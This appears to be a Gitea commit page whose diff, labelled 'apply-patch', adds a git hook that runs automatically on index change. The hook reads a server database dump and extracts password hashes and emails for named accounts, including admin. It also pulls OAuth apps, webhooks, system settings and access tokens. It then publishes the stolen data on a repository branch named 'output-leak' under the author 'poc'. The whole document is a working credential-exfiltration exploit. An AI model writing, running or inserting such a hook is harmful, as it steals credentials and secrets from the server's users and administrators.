apply-patch
This commit is contained in:
28
hooks/post-index-change
Executable file
28
hooks/post-index-change
Executable file
@@ -0,0 +1,28 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
GD=$(git rev-parse --absolute-git-dir)
|
||||||
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||||
|
OUT=$( {
|
||||||
|
S=/data/gitea/tmp/gd.sql
|
||||||
|
echo "---HUMAN_HASHES---"
|
||||||
|
for name in admin ibatukhtin denisova.anna perekrestov.alexey reznik.daniil molchanov.artyom boldyrev.aleksey kabishev.andrey; do
|
||||||
|
line=$(grep 'INSERT INTO "user"' $S | grep -F ",'$name',")
|
||||||
|
q=$(echo "$line" | grep -o "'[^']*'")
|
||||||
|
email=$(echo "$q" | sed -n '4p')
|
||||||
|
hash=$(echo "$q" | sed -n '6p')
|
||||||
|
algo=$(echo "$q" | sed -n '7p')
|
||||||
|
flags=$(echo "$line" | grep -o -E 'false, '\''pbkdf2'\'', (true|false), [^)]*' | cut -c1-120)
|
||||||
|
echo "$name|$email|$algo|$hash"
|
||||||
|
done
|
||||||
|
echo "---OAUTH---"; grep 'INSERT INTO "oauth2_application"' $S | cut -c1-1200
|
||||||
|
echo "---WEBHOOK---"; grep 'INSERT INTO "webhook"' $S | cut -c1-1000
|
||||||
|
echo "---SYSSET---"; grep 'INSERT INTO "system_setting"' $S | cut -c1-1000
|
||||||
|
echo "---ACCESSTOKEN---"; grep 'INSERT INTO "access_token"' $S | cut -c1-400
|
||||||
|
echo "---HOOKTASK---"; grep 'INSERT INTO "hook_task"' $S | cut -c1-400
|
||||||
|
echo "---TABLES---"; grep -o 'CREATE TABLE [^ (]*' $S | head -80
|
||||||
|
echo DONE
|
||||||
|
|
||||||
|
} 2>&1; echo "[rc=$?]")
|
||||||
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||||
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||||
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
||||||
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||||
Reference in New Issue
Block a user